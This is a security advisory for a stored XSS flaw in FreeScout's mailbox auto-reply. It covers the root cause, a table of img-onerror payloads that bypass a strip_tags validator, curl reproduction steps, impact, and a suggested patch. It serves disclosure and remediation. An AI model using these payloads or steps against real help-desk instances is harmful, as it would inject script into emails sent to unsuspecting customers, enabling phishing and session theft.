Stored XSS in mailbox auto-reply: payload reaches every customer's email client (no CSP), bypassing strip_tags validator with mixed text+HTML content

High **freescout-help-desk** published **GHSA-q3fh-rj9h-jfrc** 2 weeks ago

Package

freescout-help-desk/freescout

Affected versions	Patched versions
<1.8.217	1.8.217

Description

Summary

A user with `updateAutoReply` permission can store an XSS payload in the mailbox auto-reply message. The payload is rendered unescaped in the auto-reply email sent to **every customer who contacts the mailbox**. Email clients do not enforce CSP, so the payload executes in the customer's webmail / mail-client context.

The same `stripDangerousTags()` root cause is acknowledged for mailbox signatures in GHSA-w2f5-6wcv-677r (CVE-2026-40568). However:

1. The advisory and its v1.8.213 fix (CheckBrowser middleware) target **signatures only**; the auto-reply path is a distinct entry point and a distinct sink.
2. The CheckBrowser middleware does not protect customer email clients (no CSP in email).
3. The save endpoint has a **strip_tags-based validator that initially appears to block pure-HTML payloads**, which could lead a defender to assume safety. We document the bypass: any payload with a single non-whitespace character outside the HTML tag passes validation while preserving the payload at the unsafe sink.

Affected versions

`<= 1.8.216` (tested on commit `e6fe63e71f37b5b9683454edcf5a40e4288c0e36`).

Root cause

`app/Http/Controllers/MailboxesController.php`, `autoReplySave()` lines 639-683:

```
public function autoReplySave($id, Request $request)
{
    ...
    $request->merge(['auto_reply_enabled' => ($request->filled('auto_reply_enabled') ??

    if ($request->auto_reply_enabled) {
        $post = $request->all();
        $post['auto_reply_message'] = strip_tags($post['auto_reply_message']);   // vali
        $validator = Validator::make($post, [
            'auto_reply_subject' => 'required|string|max:128',
            'auto_reply_message' => 'required|string',                            // run
        ]);
        if ($validator->fails()) { ... return; }
    }

    $data = [..., 'auto_reply_message' => $request->auto_reply_message];          // ori
    $mailbox->fill($data);
    $mailbox->auto_reply_message = \Helper::stripDangerousTags($mailbox->auto_reply_mess
    $mailbox->save();
}
```

Sink: `resources/views/emails/auto_reply.blade.php:13` — `{!! $auto_reply_message !!}` (unescaped Blade in outgoing email body).

Bypass technique (validator vs. sink mismatch)

Verified payload-by-payload against a live FreeScout 1.8.216 docker instance:

#	Payload (`auto_reply_message=`)	Saved?	Reason
1	`<img src=x onerror=alert(1)>`	NO	`strip_tags()` returns `""` -> `required` fails
2	`<img src=x onerror="alert(1)">`	NO	Same
3	`<img onerror="alert(1)">`	NO	Same
4	`  <img src=x onerror=alert(1)>` (whitespace only)	NO	Laravel `required` trims whitespace
5	`a<img src=x onerror=alert(1)>`	YES	One text char survives

#	Payload (`auto_reply_message=`)	Saved?	Reason
6	`<img src=x onerror=alert(1)>z`	YES	Trailing one char
7	`.<img src=x onerror=alert(1)>`	YES	Single dot
8	`<img src=x onerror=alert(1)>` (U+200C ZWJ)	YES	Invisible char passes - most stealthy variant
9	` <img src=x onerror=alert(1)>`	YES	HTML entity counts as text
10	`Thanks <img src=x onerror=alert(1)> end`	YES	Natural mixed text

Rule: any non-whitespace character outside the HTML tag bypasses validation. The original (un-stripped) value reaches `stripDangerousTags`, which only removes 9 tag names (`script` / `form` / `iframe` / `link` / `object` / `meta` / `embed` / `applet` / `style`) and does **zero** attribute filtering. The payload then renders unescaped in the outgoing customer email.

Reproduction (live, end-to-end)

```
# As an authenticated agent with updateAutoReply permission
JAR=/tmp/agent.cookies
# (login first via /login)

CSRF=$(curl -sS -b "$JAR" "http://target/mailbox/settings/1/auto-reply" \
  | sed -n 's/.*name="csrf-token" content="\([^"]*\)".*/\1/p' | head -1)

curl -sS -b "$JAR" -X POST "http://target/mailbox/settings/1/auto-reply" \
  --data-urlencode "_token=$CSRF" \
  --data-urlencode "auto_reply_enabled=1" \
  --data-urlencode "auto_reply_subject=Re: {%subject%}" \
  --data-urlencode 'auto_reply_message=Thanks for your message! <img src=x onerror=alert
# -> 302 to /mailbox/settings/1/auto-reply

# DB verification:
mysql> SELECT auto_reply_message FROM mailboxes WHERE id=1;
# -> Thanks for your message! <img src=x onerror=alert(document.domain)> We will get bac

# Trigger:
# Send any inbound email to support@<target>. The auto-reply email body contains
# the unescaped <img onerror=...>. Live Blade render confirmed.
```

Impact

- **External-victim XSS** in every customer's email client that renders HTML (most modern webmail). Unlike signature XSS (CVE-2026-40568), there is **no CSP** in email contexts.
- **Phishing / credential harvesting** at scale (one auto-reply payload reaches every inbound customer).

- **Webmail session theft** if the customer's email provider serves attachments inline.

CSP nonce in the FreeScout web UI (per CVE-2026-40568 mitigation) does **not** apply to email rendering.

Suggested fix

Replace `stripDangerousTags()` with `purifyHtml()` (HTMLPurifier - already available in the codebase). One-line change at the sink, plus removal of the misleading validator-only `strip_tags()`:

```
--- a/app/Http/Controllers/MailboxesController.php
+++ b/app/Http/Controllers/MailboxesController.php
@@ -649,7 +649,6 @@
         if ($request->auto_reply_enabled) {
             $post = $request->all();
-            $post['auto_reply_message'] = strip_tags($post['auto_reply_message']);
             $validator = Validator::make($post, [
                 'auto_reply_subject' => 'required|string|max:128',
                 'auto_reply_message' => 'required|string',
@@ -673,7 +672,7 @@
         $mailbox->fill($data);
-        $mailbox->auto_reply_message = \Helper::stripDangerousTags($mailbox->auto_reply
+        $mailbox->auto_reply_message = \Helper::purifyHtml($mailbox->auto_reply_message
         $mailbox->save();
```

Long-term: deprecate `Helper::stripDangerousTags()` and route all 8+ call sites through `purifyHtml()`. CVE-2026-40568's CheckBrowser-based mitigation does not address sinks outside the web UI.

Disclosure

Discovered 2026-04-17 / 2026-04-18 by automated security analysis (web-vuln-agent). 90-day disclosure window: public disclosure planned 2026-07-17 unless a patched release is available earlier.

Severity

High 7.6 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	Required
Scope	Changed

Confidentiality	High
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

CVE ID

CVE-2026-41904

Weaknesses

▶ CWE-79

Credits

whatisproblem Reporter